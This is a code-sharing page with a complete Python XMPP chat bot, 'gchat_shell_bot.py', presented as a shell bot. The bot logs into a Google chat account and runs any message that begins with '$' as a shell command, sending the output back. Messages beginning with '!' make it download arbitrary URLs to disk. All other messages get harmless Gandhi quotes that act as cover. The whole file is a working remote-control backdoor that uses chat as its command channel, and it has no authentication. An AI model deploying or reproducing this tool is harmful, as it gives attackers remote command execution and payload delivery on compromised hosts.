gchat_shell_bot.py
A python based XMPP chat bot that has functionality for remote command execution and file downloads
Check it out here: Demo Link
#!/usr/bin/env python # -*- coding: utf-8 -*- # GandhiChat ShellBot v0.3 # Main development branch at github.com/ahhh/XMPP_Shell_Bot/ # https://github.com/ahhh/XMPP_Shell_Bot/blob/master/gchat_shell_bot.py # Code heavily borrowed from SleekXMPP's MUCBot # https://github.com/fritzy/SleekXMPP/blob/develop/examples/muc.py import time, random import sys, os, subprocess import logging import getpass import urllib2 from optparse import OptionParser import sleekxmpp # Requires a Google account user name that allows less secure apps. # https://www.google.com/settings/security/lesssecureapps USERNAME = '[email protected]' CMD_TOKEN = '$' DWNLD_TOKEN = '!' SERVICE_DISCOVERY = 'xep_0030' MULTIUSER_CHAT = 'xep_0045' XMPP_PING = 'xep_0199' #Gandhi Version MESSAGES = ['I fear no one on Earth.', 'I follow God.', 'I bear no ill will toward anyone.', 'I will not submit to injustice.', 'I will conquer untruth with truth.', 'I will put up with suffering.', 'Be the change you wish to see.', 'My life is my message', 'Live as though you would die today.', 'Learn as though you would live forever.',] #SHELLCHAT = '' #SHELLNIC = '' if sys.version_info < (3, 0): reload(sys) sys.setdefaultencoding('utf8') else: raw_input = input class MUCBot(sleekxmpp.ClientXMPP): def __init__(self, jid, password): # , room, nick): sleekxmpp.ClientXMPP.__init__(self, jid, password) #self.room = room #self.nick = nick # The session_start event will be triggered when the bot connects to the server self.add_event_handler("session_start", self.start) #The message event is triggered whenever you are sent a message self.add_event_handler("message", self.message) # The groupchat_message event #self.add_event_handler("groupchat_message", self.muc_message) # The groupchat_presence event is triggered whenever someone joins a room #self.add_event_handler("muc::%s::got_online" % self.room, self.muc_online) # session_start event def start(self, event): self.get_roster() self.send_presence() #Don't join groupchat yet #self.plugin[MULTIUSER_CHAT].joinMUC(self.room, self.nick, # password=room_password, wait=True) # reply to messages def message(self, msg): if msg['type'] in ('chat', 'normal'): body = msg['body'] #Execute and respond to $command instructions if body and body[0] == CMD_TOKEN: reply = self.run_command(body.lstrip(CMD_TOKEN)) msg.reply(reply).send() return #Execute and respond to !download instructions if body and body[0] == DWNLD_TOKEN: self.download(body.lstrip(DWNLD_TOKEN)) savedToMsg = "file saved to: {}".format( body.lstrip(DWNLD_TOKEN).split('/')[-1]) msg.reply(savedToMsg).send() return time.sleep(random.uniform(0.4, 2.45)) reply = random.choice(MESSAGES) msg.reply(reply).send() # reply to nick_name mentions def muc_message(self, msg): if msg['mucnick'] != self.nick and self.nick in msg['body']: self.send_message(mto=msg['from'].bare, mbody="I heard that, %s." % msg['mucnick'], mtype='groupchat') #Announce when bot comes online def muc_online(self, presence): if presence['muc']['nick'] != self.nick: self.send_message(mto=presence['from'].bare, mbody="Hello, %s %s" % (presence['muc']['role'], presence['muc']['nick']), mtype='groupchat') def run_command(self, cmd): proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read() + proc.stderr.read() return stdoutput #Grab our file from some url and save it to a file def download(self, url): req = urllib2.Request('%s' % (url)) message = urllib2.urlopen(req) filename = url.split('/')[-1] #Keep file name consistent w/ file downloaded localFile = open(filename, 'w') localFile.write(message.read()) localFile.close() def main(): # Setup the command line arguments. optp = OptionParser() # Output verbosity options optp.add_option('-q', '--quiet', help='set logging to ERROR', action='store_const', dest='loglevel', const=logging.ERROR, default=logging.INFO) optp.add_option('-d', '--debug', help='set logging to DEBUG', action='store_const', dest='loglevel', const=logging.DEBUG, default=logging.INFO) optp.add_option('-v', '--verbose', help='set logging to COMM', action='store_const', dest='loglevel', const=5, default=logging.INFO) # JID and password options optp.add_option("-j", "--jid", dest="jid", help="JID to use") optp.add_option("-p", "--password", dest="password", help="password to use") #optp.add_option("-r", "--room", dest="room", # help="MUC room to join") #optp.add_option("-n", "--nick", dest="nick", # help="MUC nickname") opts, args = optp.parse_args() # Setup logging. logging.basicConfig(level=opts.loglevel, format='%(levelname)-8s %(message)s') if opts.jid is None: if USERNAME: opts.jid = USERNAME else: raise Exception("Username not set: use -j to set it.") if opts.password is None: opts.password = getpass.getpass("Password: ") #if opts.room is None: # opts.room = raw_input("MUC room: ") # opts.room = SHELLCHAT #if opts.nick is None: # opts.nick = raw_input("MUC nickname: ") # opts.nick = SHELLNIC # Setup the MUCBot and register plugins. xmpp = MUCBot(opts.jid, opts.password) #, opts.room, opts.nick) xmpp.register_plugin(SERVICE_DISCOVERY) # Service Discovery xmpp.register_plugin(MULTIUSER_CHAT) # Multi-User Chat xmpp.register_plugin(XMPP_PING) # XMPP Ping # Connect to the XMPP server and start processing XMPP stanzas. if xmpp.connect(): #if xmpp.connect(('talk.google.com', 5222)): xmpp.process(block=True) print("Done") else: print("Unable to connect.") if __name__ == '__main__': main()

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.
Download this code in plain text format here